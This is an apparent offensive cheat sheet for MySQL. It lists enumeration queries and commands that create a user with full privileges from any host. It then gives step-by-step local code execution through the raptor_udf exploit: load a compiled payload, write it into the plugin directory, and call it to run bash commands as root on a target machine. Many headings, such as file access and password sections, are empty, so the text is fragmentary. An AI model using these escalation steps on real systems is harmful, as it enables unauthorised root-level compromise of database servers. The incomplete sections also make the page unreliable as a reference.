MySQL
Database commands
Comments
SELECT 1; #comment
SELECT /*comment*/1;Version
SELECT @@versionUsers
SELECT user();
SELECT system_user();
SELECT user FROM mysql.user; -- priv
CREATE USER <name> IDENTIFIED BY '<pass>';
DROP USER <name>;
GRANT ALL PRIVILEGES ON *.* TO <name>@'%';
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';
SELECT host, user FROM mysql.user WHERE Super_priv = 'Y';Privileges
Database info
List tables
List columns
Filter table by column name
Access nth row
String operations
Conditional execution
Time delay
Hostname
Passwords
Format: SQL
Vulnerabilities
Arbitrary file access
Arbitrary file write
Local code execution (raptor_udf)
Useful if the database is run with root privileges and you know the credentials. Get payload from https://www.exploit-db.com/exploits/1518 compile and transfer it to target machine.
Login with root credentials
mysql -u root -p <pass>Find plugin directory
select @@plugin_dir;Load payload in memory
use mysql;create table foo(line blob);insert into foo values(load_file('<path to payload>'));Write payload in plugin folder
select * from foo into dumpfile '<plugin folder>/raptor_udf2.so';Create a function to invoke the payload
create function do_system returns integer soname 'raptor_udf2.so';Execute commands as root
select do_system("<bash command>");
Last updated